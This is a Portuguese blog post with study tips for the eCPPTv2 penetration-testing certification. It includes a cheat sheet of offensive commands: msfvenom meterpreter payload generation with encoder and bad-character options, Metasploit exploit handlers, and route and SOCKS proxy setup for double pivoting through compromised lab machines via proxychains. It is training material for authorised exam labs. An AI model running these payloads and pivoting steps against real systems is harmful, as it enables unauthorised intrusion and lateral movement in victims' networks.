eCPPTv2 - aprendizados

Posted on Mon, May 29, 2023 certifications

INTRO

Desta vez vou escrever um pouco sobre minha experiência com esta certificação pois fiquei pensando que alguns pontos podem vir a ajudar outros que estejam no mesmo caminho.

Muitas postagens são no sentido de detalhar o dia a dia da prova, o que usou para estudo, como é a prova, etc. Entendo que estes ajudam também, mas essa não é minha intenção, mas sim, relatar algumas experiências de forma direta que podem ajudar a quem está buscando esta certificação.

# SOBRE A CERTIFICAÇÃO

Hoje eu possuo certificações da EC COUNCIL (CEH v10 ANSI e PRACTICAL) , da Offensive Security ( OSCE ) e da eLearn ( eWPT e agora eCPPTv2 ).

Gosto bastante das certificações da eLearn por elas serem mais próximas de um trabalho real de um pentest do que um CTF/Desafio onde se busca provar que conseguiu determinado objetivo através de flags.

Nas certificações da eLearn que fiz até agora a pressão está, não em atingir um objetivo em tanto tempo , como as da Offensive Security, mas sim em não saber onde termina. Você tem 7 dias para fazer a prova mas em nenhum momento é dito quantas vulnerabilidades você achará pelo caminho, logo, tem que enumerar e testar tudo. Afinal, é um pentest onde você foi pago para reportar as vulnerabilidades presentes!

Um dos pontos que não gostei é que, em uma prova que exige explorar várias máquinas, em caso de instabilidade de um serviço de uma máquina, ter que reiniciar todo o lab e consequentemente todas as máquinas e ter que explorar tudo de novo, é bem chato.

MINHAS RECOMENDAÇÕES

  • Experiências pessoais, são experiências pessoais. Sempre bom lembrar que as experiências de cada um tem influência direta no quanto e como cada um estudou para obter a certificação. Leve isso em conta. Pense se você tem domínio ou não sobre os assuntos cobrados na certificação.
  • Ao conectar no LAB da prova você deverá baixar um arquivo .ovpn de conexão de VPN. A VPN está configurada para usar a cifra AES-128-CBC e o arquivo está ainda no padrão antigo do openvpn. Abra o arquivo, e substitua cipher AES-128-CBC por data-ciphers AES-128-CBC.
  • >>> DOCUMENTE seu passo a passo! <<< Faça um passo a passo de todos os comandos usados para comprometer uma máquina e depois escalar privilégios. Caso você precise começar do zero (reiniciar seu kali, reiniciar o metasploit, resetar o lab) você voltará ao estado atual rapidamente.

Exemplo de exploração, criação de rota para outra rede através da sessão do meterpreter e definição de um socks proxy , no metasploit:

use exploit/multi/handler
set payload linux/x86/meterpreter/bind_tcp
set LPORT 1337
set RHOST 1.1.1.1
exploit
background
route add 2.2.2.2/24 1
use auxiliary/server/socks_proxy
set VERSION 4a
set SRVHOST 127.0.0.1
set SRVPORT 1080
exploit -j
  • Se prepare.
    • É de comum conhecimento que você enfrentará um desafio de Buffer Overflow. Não é nada de outro mundo, mas não custa se preparar pra verificar se o conhecimento está “embaixo das pontas dos dedos”.
    • Baixe e configure uma VM windows 7 com o Immunity Debugger, python 2.7 e o módulo mona.py.
    • Baixe e configure uma VM com o kali e todas as ferramentas que você pensa em utilizar.
    • Verifique se tem integração de COPIAR e COLAR , pastas compartilhas, etc. entre elas e o seu host para facilitar a troca de arquivos e conteúdos.
    • Para as máquinas virtuais eu usei o Vagrant (https://www.vagrantup.com/). Aconselho a dar uma olhada pois facilita muito a instalação do ambiente.
      • Kali : box kalilinux/rolling
      • Windows 7: box datacastle/windows7
  • Leve em consideração que a prova é antiga, isso não quer dizer que não aborde temas atuais, mas que as vezes podem haver incompatibilidades de ferramentas. Por exemplo, existem alguns relatos de problemas encontrados onde a pessoa resolveu fazendo downgrade para o Metasploit 5.
    • O script pimpmykali ( ) fazia downgrade mas depois das últimas atualizações não faz mais. Uma possibilidade, seria instalar uma VM do kali linux antiga que tivesse o Metasploit 5.
    • Eu utilizei o metasploit 6 com o kali mais atual, no momento da escrita deste artigo, kali 2023.2, e tudo funcionou corretamente. Um detalhe importante:
      • No Metasploit 5 o módulo para criar um server socks 4 é o auxiliary/server/socks4a
      • No Metasploit 6 o módulo para criar um server socks 4 é o auxiliary/server/socks_proxy onde você deve definir a opção SET VERSION 4a.
  • Diferentemente das provas da Offensive, o metasploit/meterpreter são seus amigos. Dá pra fazer quase tudo apenas com eles. ;D
  • Você precisará usar pivoteamento, isso também já é de conhecimento público. Basta o metasploit. O artigo https://pentest.blog/explore-hidden-networks-with-double-pivoting/ é bem interessante. Em resumo.
    • Com o metasploit você consegue, usando o meterpreter, criar rotas e proxies para outras redes. O passo a passo a ser seguido de forma geral é:
      • A- Comprometa a máquina
      • B - Crie uma rota para a rede que você deseja usando a sessão meterpreter como pivot
      • C - Suba um Socks Proxy local para, usando o proxychains, poder usar outras ferramentas (nmap, nc, etc.) que não estão no metasploit.
  • Lembre-se , pivotear exige que toda a comunicação seja possível.
    • Sessões meterpreter utilizadas no roteamento podem cair ou estarem “apenas parecendo ok” e fazer a comunicação falhar
    • A conexão VPN pode ficar instável
    • Usar o Three-way-handshake (-sT no nmap) quando tiver escaneando através de Pivots.
  • Se a conexão a um host está falhando, se o que estava funcionando não funciona mais, as vezes não é necessário resetar o LAB. Observe se a VPN está ativa. Observe se os túneis (rotas e socks proxy) estão ativos. Tente antes sair e abrir de novo o Metasploit.
  • Ao explorar um serviço e ele cair, se ele estiver gerando outros processos e thread, pode ser que ele “se recupere”. Aguarde e teste de novo. Talvez você não precise reiniciar o lab.
  • Lembre-se, a prova tenta simular um ambiente corporativo real!
    • Existe firewall habilitado na máquina ?
    • Você está tentando conectar em porta que deveria estar aberta e não consegue ? Firewall ? Todos os elementos que fecham a rota até o destino estão estáveis ?
    • Lembre-se! Um shell reverso só é possível se o destino consegue conectar em sua máquina! Consegue ?

CHEAT SHEETS

Algumas anotações de comandos que fiz para ter acesso rápido e alguns links de cheat sheets que achei interessante e podem ajudar.

METERPRETERS

kali> msfvenom -p linux/x86/meterpreter/bind_tcp LPORT=1337 -f elf > meterpreter_bind_1337
kali> msfvenom -p windows/meterpreter/bind_tcp LPORT=1337 -a x86 -e x86/shikata_ga_nai EXITFUNC=process --platform  windows -b "\x00" -f python

PIVOTING

metasploit

Observe o prompt! Os comandos são executados no prompt do metasploit e não no meterpreter!

Exemplo geral:

meterpreter> background
msf> route add <NETWORK>/<MASK> <SESSION ID>
msf> use auxiliary/server/socks_proxy
msf> set VERSION 4a
msf> set SRVHOST 127.0.0.1
msf> set LPORT 1080
msf> exploit -j

Exemplo prático para duplo pivoteamento.

KALI MACHINE VPN ADDRESS: 192.168.0.2
VITIMA 1: 10.10.10.1
VITIMA 2: 10.150.15.1 (acessível apenas através da VITIMA 1)
VITIMA 3: 10.250.25.1 (acessivel apenas através da VITIMA 2)

... EXPLORAR A VITIMA 1 ...
msf> use exploit/windows/...
msf> set payload windows/meterpreter/bind_tcp
msf> set RHOSTS 10.10.10.1
msf> set LPORT  1337 
msf> exploit

... CRIAR ROTA E SOCKS PARA A REDE DA VITIMA 2...
meterpreter> background
msf> route add 10.150.15.0/24 1
msf> use auxiliary/server/socks_proxy
msf> set VERSION 4a
msf> set SRVHOST 127.0.0.1
msf> set LPORT 1080
msf> exploit -j

... EXPLORAR A VITIMA 2 ... 
... É possível pois o metasploit usará automaticamente o pivot da vitima 1...
msf> use exploit/windows/...
msf> set payload windows/meterpreter/bind_tcp
msf> set RHOSTS 10.150.15.1
msf> set LPORT  21337 
msf> exploit

... CRIAR ROTA E SOCKS PARA A REDE DA VITIMA 3...
meterpreter> background
msf> route add 10.250.25.0/24 2
msf> use auxiliary/server/socks_proxy
msf> set VERSION 4a
msf> set SRVHOST 127.0.0.1
msf> set LPORT 1081        #(atentar para a mudança da porta)
msf> exploit -j

... No linux usando o nmap para escanear a vitima 3...
root# proxychains nmap -sT -Pn -n 10.250.25.1

proxychains

Alterar o arquivo /etc/proxychains4.conf:

  • substituir strict chain por dynamic chain (isso é para usar mais de um proxy para duplo pivoteamento)
  • Adicionar para cada Socks Proxy criado socks4 127.0.0.1 <PORTA>

Exemplo do arquivo de configuração

dynamic chain
socks4 127.0.0.1 1080
socks4 127.0.0.1 1081

Usando o proxychains com o nmap

root> proxychain nmap -sT -Pn -n 10.10.10.10

Powershell e Comandos Windows

#PORTAS ABERTAS
netstat -tupan

#HABILITAR TELNET NO WINDOWS 7
pkgmgr /iu:”TelnetClient”

#PING SWEEP WINDOWS
for /L %i in (1,1,255) do @ping -n 1 -w 200 10.10.10.%i > nul && echo 10.10.10.%i is up.

OUTROS CHEATSHEETS

OUTROS LINKS INTERESSANTES